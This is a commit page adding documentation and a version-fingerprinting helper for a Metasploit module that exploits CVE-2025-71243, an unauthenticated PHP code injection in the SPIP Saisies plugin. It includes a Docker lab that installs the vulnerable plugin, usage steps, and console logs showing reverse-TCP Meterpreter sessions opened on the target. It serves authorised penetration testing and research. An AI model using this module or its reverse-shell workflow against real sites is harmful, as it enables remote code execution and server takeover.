Skip to content

Commit 429c5ff

Browse files
committed
Feat: Add SPIP Saisies plugin RCE module (CVE-2025-71243)
1 parent c249939 commit 429c5ff

File tree

3 files changed

+481
-0
lines changed

3 files changed

+481
-0
lines changed
Lines changed: 234 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,234 @@
1+
## Vulnerable Application
2+
3+
This module exploits an unauthenticated PHP code injection in the SPIP Saisies
4+
plugin (CVE-2025-71243). The `_anciennes_valeurs` form parameter is interpolated
5+
unsanitized into a hidden field rendered with `interdire_scripts=false`, giving
6+
direct PHP code execution via SPIP's template eval.
7+
8+
Exploitation requires a publicly accessible page containing a saisies-powered
9+
form, most commonly created with the Formidable plugin. Versions 5.4.0 through
10+
5.11.0 of the saisies plugin are affected.
11+
12+
### Docker Setup
13+
14+
```bash
15+
mkdir spip-lab && cd spip-lab
16+
```
17+
18+
Create `docker-compose.yml`:
19+
20+
```yaml
21+
services:
22+
spip:
23+
image: ipeos/spip:latest
24+
container_name: spip-cve
25+
ports:
26+
- "8888:80"
27+
environment:
28+
SPIP_AUTO_INSTALL: 1
29+
SPIP_DB_SERVER: mysql
30+
SPIP_DB_HOST: db
31+
SPIP_DB_LOGIN: spip
32+
SPIP_DB_PASS: spip
33+
SPIP_DB_NAME: spip
34+
SPIP_ADMIN_NAME: Admin
35+
SPIP_ADMIN_LOGIN: admin
36+
SPIP_ADMIN_EMAIL: admin@spip.local
37+
SPIP_ADMIN_PASS: adminadmin
38+
SPIP_SITE_ADDRESS: http://localhost:8888
39+
volumes:
40+
- ./setup.sh:/docker-entrypoint-init.d/setup.sh
41+
depends_on:
42+
db:
43+
condition: service_healthy
44+
healthcheck:
45+
test: ["CMD", "curl", "-f", "http://localhost/"]
46+
interval: 10s
47+
timeout: 5s
48+
retries: 30
49+
50+
db:
51+
image: mariadb:10.11
52+
container_name: spip-cve-db
53+
environment:
54+
MYSQL_DATABASE: spip
55+
MYSQL_USER: spip
56+
MYSQL_PASSWORD: spip
57+
MYSQL_ROOT_PASSWORD: root
58+
healthcheck:
59+
test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
60+
interval: 5s
61+
timeout: 3s
62+
retries: 10
63+
```
64+
65+
Create `setup.sh`:
66+
67+
```bash
68+
#!/bin/bash
69+
set -e
70+
71+
PLUGINS_DIR="/var/www/html/plugins"
72+
SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-d7b40-saisies-5.11.0.zip"
73+
74+
echo "[*] Waiting for SPIP to be fully installed..."
75+
until [ -f /var/www/html/config/connect.php ]; do
76+
sleep 2
77+
done
78+
sleep 5
79+
80+
echo "[*] Installing vulnerable saisies plugin v5.11.0..."
81+
apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1
82+
mkdir -p "$PLUGINS_DIR"
83+
curl -sL "$SAISIES_URL" -o /tmp/saisies.zip
84+
unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/"
85+
chown -R www-data:www-data "$PLUGINS_DIR/"
86+
87+
echo "[*] Activating saisies plugin via database..."
88+
until mysql -h db -u spip -pspip spip -e "SELECT 1 FROM spip_meta WHERE nom='plugin' LIMIT 1" >/dev/null 2>&1; do
89+
sleep 2
90+
done
91+
92+
php -r '
93+
require "/var/www/html/vendor/autoload.php";
94+
$_SERVER = array_merge($_SERVER, [
95+
"REQUEST_URI" => "/setup.php", "SERVER_NAME" => "localhost",
96+
"SERVER_PORT" => "80", "HTTP_HOST" => "localhost",
97+
"REQUEST_METHOD" => "GET", "SCRIPT_NAME" => "/setup.php",
98+
"SCRIPT_FILENAME" => "/var/www/html/setup.php",
99+
]);
100+
chdir("/var/www/html");
101+
require "ecrire/inc_version.php";
102+
include_spip("base/abstract_sql");
103+
104+
$meta = sql_getfetsel("valeur", "spip_meta", "nom=" . sql_quote("plugin"));
105+
$plugins = unserialize($meta);
106+
$plugins["SAISIES"] = [
107+
"dir" => "saisies", "dir_type" => "_DIR_PLUGINS",
108+
"nom" => "Saisies", "etat" => "stable", "version" => "5.11.0"
109+
];
110+
sql_updateq("spip_meta", ["valeur" => serialize($plugins), "impt" => "oui"], "nom=" . sql_quote("plugin"));
111+
echo "Saisies activated\n";
112+
array_map("unlink", glob(_DIR_TMP . "*.php") ?: []);
113+
'
114+
115+
echo "[*] Creating contact form with _saisies..."
116+
cat > /var/www/html/formulaires/contact.php << 'FORMPHP'
117+
<?php
118+
if (!defined("_ECRIRE_INC_VERSION")) return;
119+
120+
function formulaires_contact_saisies_dist() {
121+
return [
122+
["saisie" => "input", "options" => ["nom" => "nom", "label" => "Votre nom", "obligatoire" => "oui"]],
123+
["saisie" => "selection", "options" => ["nom" => "sujet", "label" => "Sujet", "datas" => ["contact" => "Contact", "support" => "Support", "autre" => "Autre"]]],
124+
["saisie" => "textarea", "options" => ["nom" => "message", "label" => "Message", "obligatoire" => "oui", "rows" => 5]],
125+
];
126+
}
127+
function formulaires_contact_charger_dist() { return ["nom" => "", "sujet" => "", "message" => ""]; }
128+
function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e["nom"] = "Obligatoire"; if (!_request("message")) $e["message"] = "Obligatoire"; return $e; }
129+
function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; }
130+
FORMPHP
131+
132+
mkdir -p /var/www/html/squelettes
133+
cat > /var/www/html/squelettes/contact.html << 'SQHTML'
134+
<!DOCTYPE html>
135+
<html><head><title>Contact</title>#INSERT_HEAD</head>
136+
<body><h1>Contact</h1>#FORMULAIRE_CONTACT</body>
137+
</html>
138+
SQHTML
139+
140+
chown -R www-data:www-data /var/www/html/formulaires/ /var/www/html/squelettes/
141+
rm -rf /var/www/html/tmp/cache/
142+
143+
echo "[+] Lab ready! Form at http://localhost:8888/spip.php?page=contact"
144+
```
145+
146+
```bash
147+
chmod +x setup.sh
148+
docker compose up -d
149+
```
150+
151+
Wait a couple of minutes for the setup script to install saisies and create the
152+
contact form. The form will be at `http://localhost:8888/spip.php?page=contact`.
153+
154+
## Verification Steps
155+
156+
1. Start `msfconsole`
157+
2. `use exploit/multi/http/spip_saisies_rce`
158+
3. `set RHOSTS 127.0.0.1`
159+
4. `set RPORT 8888`
160+
5. `set LHOST <your-ip>`
161+
6. `check` - verify it returns `Appears`
162+
7. `run` - verify a Meterpreter session opens
163+
164+
## Options
165+
166+
### FORM_PAGE
167+
168+
Page containing a saisies-powered form. Set to a specific page name (e.g.
169+
`contact`) if you already know which page has the form, or leave as `crawl`
170+
(default) to automatically discover one by fetching the SPIP sitemap and
171+
following internal links.
172+
173+
### CRAWL_MAX_PAGES
174+
175+
Maximum number of pages to visit when crawling. Default is 100.
176+
177+
## Scenarios
178+
179+
### SPIP with Saisies 5.11.0 - PHP Meterpreter (direct page)
180+
181+
```
182+
msf6 > use exploit/multi/http/spip_saisies_rce
183+
msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
184+
RHOSTS => 127.0.0.1
185+
msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
186+
RPORT => 8889
187+
msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE contact
188+
FORM_PAGE => contact
189+
msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
190+
LHOST => 172.17.0.1
191+
msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
192+
PAYLOAD => php/meterpreter/reverse_tcp
193+
msf6 exploit(multi/http/spip_saisies_rce) > run
194+
195+
[*] Started reverse TCP handler on 172.17.0.1:4444
196+
[*] Running automatic check ("set AutoCheck false" to disable)
197+
[*] Saisies plugin version: 5.11.0
198+
[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0).
199+
[+] Form found at /spip.php?page=contact
200+
[*] Sending payload...
201+
[*] Sending stage (42137 bytes) to 172.18.0.3
202+
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:46968) at 2026-02-21 09:23:35 +0100
203+
204+
meterpreter >
205+
```
206+
207+
### SPIP with Saisies 5.11.0 - PHP Meterpreter (crawl mode)
208+
209+
```
210+
msf6 > use exploit/multi/http/spip_saisies_rce
211+
msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
212+
RHOSTS => 127.0.0.1
213+
msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
214+
RPORT => 8889
215+
msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE crawl
216+
FORM_PAGE => crawl
217+
msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
218+
LHOST => 172.17.0.1
219+
msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
220+
PAYLOAD => php/meterpreter/reverse_tcp
221+
msf6 exploit(multi/http/spip_saisies_rce) > run
222+
223+
[*] Started reverse TCP handler on 172.17.0.1:4444
224+
[*] Running automatic check ("set AutoCheck false" to disable)
225+
[*] Saisies plugin version: 5.11.0
226+
[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0).
227+
[*] Crawling for saisies forms (max 100 pages)...
228+
[+] Form found at /spip.php?page=contact (checked 3 pages)
229+
[*] Sending payload...
230+
[*] Sending stage (42137 bytes) to 172.18.0.3
231+
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:50544) at 2026-02-21 09:23:53 +0100
232+
233+
meterpreter >
234+
```

lib/msf/core/exploit/remote/http/spip.rb

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,28 @@ def spip_plugin_version(plugin_name)
6060
config_res = send_request_cgi('method' => 'GET', 'uri' => config_url)
6161
return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200
6262

63+
# Case 3: Try fetching paquet.xml directly from common plugin paths
64+
parse_paquet_xml_version(plugin_name)
65+
end
66+
67+
# Attempt to read the plugin version from its paquet.xml file.
68+
# Plugins can be installed under plugins/ or plugins/auto/.
69+
#
70+
# @param [String] plugin_name Name of the plugin directory
71+
# @return [Rex::Version, nil] Version from the paquet.xml prefix attribute, or nil
72+
def parse_paquet_xml_version(plugin_name)
73+
%W[
74+
plugins/#{plugin_name}/paquet.xml
75+
plugins/auto/#{plugin_name}/paquet.xml
76+
].each do |path|
77+
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
78+
next unless res&.code == 200
79+
80+
if res.body =~ /prefix="#{plugin_name}"/ && res.body =~ /version="(\d+(?:\.\d+)+)"/
81+
return Rex::Version.new(::Regexp.last_match(1))
82+
end
83+
end
84+
6385
nil
6486
end
6587

0 commit comments

Comments
 (0)